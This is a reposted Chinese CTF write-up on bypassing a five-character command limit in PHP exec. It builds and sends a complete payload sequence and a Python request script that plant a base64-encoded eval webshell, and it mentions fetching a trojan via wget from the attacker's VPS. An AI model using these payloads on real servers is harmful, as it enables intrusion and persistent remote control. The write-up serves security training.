RCE篇之限制長度下的命令執行


轉載自:https://arsenetang.github.io/2021/07/20/RCE篇之命令執行中的各種繞過/

繞過長度限制

linux 中的>符號和>>符號

(1)通過>來創建文件

(2)通過>將命令結果存入文件中

使用>命令會將原有文件內容覆蓋,如果是存入不存在的文件名,那么就會新建該文件再存入

(3)>>符號的作用是將字符串添加到文件內容末尾,不會覆蓋原內容

linux中命令換行

在Linux中,當我們執行文件中的命令的時候,我們通過在沒有寫完的命令后面加\,可以將一條命令寫在多行

比如一條命令cat flag可以如下表示

既然可以這樣那我們是不是可以在某些限制長度的情況下執行命令,將命令一條一條輸入一個文本中再執行,嘗試一下

root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
 fl\
ag
root@kali:~# sh cmd
this is your flag

用這種方法可以繞過一些長度限制讀文件內容

利用ls -t和>以及換行符繞過長度限制執行命令(文件構造繞過)

在linux中,我們使用ls -t命令后,可以將文件名按照時間順序排列出來(后創建的排在前面)

 

root@kali:~/example# touch a
root@kali:~/example# touch b
root@kali:~/example# touch c
root@kali:~/example# ls -t
c  b  a

我們來看看ls -t>ghtwf01有什么效果(開始不存在ghtwf01這個文件)

root@kali:~/example# ls -t>ghtwf01
root@kali:~/example# cat ghtwf01 
ghtwf01
c
b
a

這條命令先執行了創建ghtwf01文件然后將ls -t的執行結果寫入ghtwf01文件

我們試試用這些方法來執行命令cat flag

root@kali:~/example# > "ag"
root@kali:~/example# > "fl\\"
root@kali:~/example# > "t \\"
root@kali:~/example# > "ca\\"
root@kali:~/example# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/example# ls -t > a
root@kali:~/example# sh a
a: 1: a: not found
this is your flag
a: 6: flag: not found

讀取到了flag內容為this is your flag,無論這個文件里面有不有其它內容都能執行

總而言之文件構造繞過就是如下知識:

linux下可以用 1>a創建文件名為a的空文件
ls -t>test則會將目錄按時間排序后寫進test文件中 sh命令可以從一個文件中讀取命令來執行

反彈shell命令比較長就可以用這種方式去繞過長度限制

如果服務器能連外網還可以使用命令wget 網址 -O shell.php去執行我們自己vps上面的木馬文件

1、在linux中,星號*可以作為通配符使用,輸入*后,linux會將該目錄下第一個列出的文件名作為命令,剩下的的文件名當作參數

 像上面這個例子,執行*就相當於執行ls t,將ls作為命令,t作為參數;

有的時候當一個目錄下有很多個文件的時候,可以在*后面加上字母作為限制,就可以限定為必須要帶有該字母的文件才能被當作命令參數,它依舊是按照字母順序,第一個為命令,后面的為參數,比如說下面這個例子,雖然說里面有很多文件,但我們用了*s,相當於就是帶有s的第一個文件被作為了命令,后面帶有s的文件作為了參數,所以說我們執行*s,相當於執行ls s

 2、linux中還有一個倒置命令rev,它可以將文件中的內容倒置,比如說下面這個例子,a文件中的內容本來是1234,然后我們用了rev倒置命令,就輸出了4321,我們還可以將這個輸出結果寫入文件b

 當然,我們也可以按照前面的方法,將rev當作文件名,然后利用*v來執行它,只不過文件名也要為v

 

 3、linux中還有一個命令dir,這個命令和ls基本上是一樣的,只不過用ls寫入文件中時,每個文件名都是單獨一行,它會自動換行,這會影響我們后面命令的執行,但dir就會全部寫入一行中,並且會自動加空格,所以說我們就用dir代替ls

 實例

<?php

if(md5(md5($_GET["pass"]))=="42dc38109914179199efc5c18d47ee68")
{
    show_source("shell.php");
    echo "<br><br>年輕人,這個后門你把握不住,收手吧<br><br>";
    echo "<br>".$_SERVER['HTTP_USER_AGENT'];

    $you_file = '/var/www/html/wllm/'.md5("wllm" . $_SERVER['HTTP_USER_AGENT']);

    mkdir($you_file);
    chdir($you_file);

    if (isset($_GET['big_hacker_LTLT']) && strlen($_GET['big_hacker_LTLT']) <= 5) 
    {
        echo exec($_GET['big_hacker_LTLT']);

    } else if (isset($_GET['reset'])) 
    
    {
        @exec('/bin/rm -rf ' . $you_file);
    }
    
} 
?>

 

 思路分析

從代碼中可知,這里有exec函數,是可以執行命令的,但由於有長度限制,所以說我們不能執行完整命令,只能試圖利用linux下命令可以拆分的特點,將寫入一句話木馬的命令,拆分開來,作為文件名的形式先寫進去,然后再寫一個文件v,里面的內容是ls -th >f,然

后通過執行這個文件v,讓前面的文件名按照時間順序拼接起來,並寫入到文件f中,那文件f中就是我們想要的寫入一句話木馬的命令了,最后執行這個文件f,就將木馬成功寫入進去了

具體過程

 1.我們首先來寫寫入一句話木馬的命令,這里要注意的是,由於里面有< ?這些字符,所以說我們先將其base64編碼后再寫入,具體:

一句話:<?php eval($_POST[1]);
base編碼后:PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
寫入的命令:echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php
這里的空格要用${IFS}來代替,避免一句話中存在兩個空格

 

 驗證一下,發現沒有問題

2、然后我們就要來拼接出命令ls -th >f了,我認為這兒是最復雜的,這里先解釋一下為啥要拼接出這條命令,因為它ls默認排列文件的順序是按照字母順序的,如果把這個順序寫入文件中那肯定是雜亂無章的,也肯定不是我們想要的,所以說我們得想辦法控制它的順序,而唯一能控制的就是輸入命令的時間先后順序了,我們把想要放在后面的先輸入,想要放在前面的后輸入,然后利用ls -th一排,不就是我們想要的順序了嗎,這里我用kali做個演示,命令就是echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php

我們看到核心代碼中它每次輸入的命令不能超過五字符,那我就把這命令划分一下,五個字符一句,所有的符號前面都要加轉義符\

>e\\
>ch\\
>o\\
>\$\\
>{\\
>IF\\
>S}\\
>PD\\
>9w\\
>a\\
>HA\\
>gZ\\
>XZ\\
>hb\\
>Cg\\     
>kX\\
>1B\\
>PU\\
>1R\\
>bM\\
>V0\\
>pO\\
>w=\\
>\=\\
>\|\\
>ba\\
>se\\
>64\\
>\ \\
>-d\\
>\>\\
>1.\\
>p\\
>hp

 但由於前面講的,我們得按照時間得先后順序,給它倒過來:

>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>w=\\
>pO\\
>V0\\
>bM\\
>1R\\
>PU\\
>1B\\
>kX\\
>Cg\\ 
>hb\\
>XZ\\
>gZ\\
>HA\\
>a\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\

 然后我們在kali中做測試,一個一個按順序把它敲進去,太艱難了

 

 可以看到已經成功了,它已經按照時間順序排序好了,那我們就把它執行的結果寫入文件f中,然后利用sh來執行f,看能不能成功生成1.php

 3、拼接出命令ls -th >f,害本來第二步我就想講這個的,結果寫着寫着就寫偏了,前面我們的ls -t >f這命令是直接寫的,實際上題目中我們是肯定不可能直接寫的,同樣需要把它寫成文件名拼接起來寫入文件中,然后執行它,這就需要我們前面鋪墊的知識了,這里我先把構造結果寫出來,然后再分析,如果哪一步沒看懂可以去上面看對應的鋪墊知識哦:

>dir
>f\>
>ht-
>sl
*>v  (等同於命令:dir "f>" "ht‐" "sl" > v )
>rev 
*v>0 前面的*v等同於命令rev v,相當於將v中的文件內容倒了回來,變回:ls -th >f
然后將倒轉后的內容寫入文件0中,文件0中的內容為:ls -th >f

 首先是用dir代替了ls,原因上面也講了,然后我們這里用-th代替了-t是因為字母順序的問題,因為我們這里是選擇先倒着寫然后再用rev命令把它正過來,字母h順序正好在字母sf之間,所以說就可以,如果只有t的話它就會排在s的后面,順序就亂了

4、前兩步構造出來之后其實我們的核心步驟就已經完成了,第二步我們構造出來要執行的命令,第三步將要執行的命令寫入到一個文件中,然后就是執行命令的過程了,先執行ls -th >f也就是sh 0,再執行文件f也就是sh f即可成功寫入一句話,綜合一下payload就是:

>dir
>f\>
>ht-
>sl
*>v
>rev 
*v>0
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>w=\\
>pO\\
>V0\\
>bM\\
>1R\\
>PU\\
>1B\\
>kX\\
>Cg\\ 
>hb\\
>XZ\\
>gZ\\
>HA\\
>a\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f

 5、Python腳本

前面也看到了,我們要是純靠手把這些payload全部輸進去還是有些麻煩的,所以說我們還是寫個python腳本來代替我們發起這些請求:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
headers = {'User-Agent' : 'ccc'}
url = "http://xx.xxx.xx.xxx:10001/shell.php?pass=LTLT_666&big_hacker_LTLT={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        requests.get(url.format(i.strip()),headers=headers)

 這里面我加了個UA頭是因為核心代碼中說了目錄名就是/var/www/html/wllm/'.md5("wllm" . $_SERVER['HTTP_USER_AGENT'])那相當於我這個目錄名就是/var/www/html/md5(wllmccc),也就是/var/www/html/wllm/09dfd2544882e2d4cfc851dcb1e78c4f,payload.txt中的內容就是上面那段payload,接下來開始跑腳本:

 跑完腳本去看這個文件是否已經生成,發現已經生成,那就大功告成了,執行命令和用蟻劍連接都是可以的哦


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM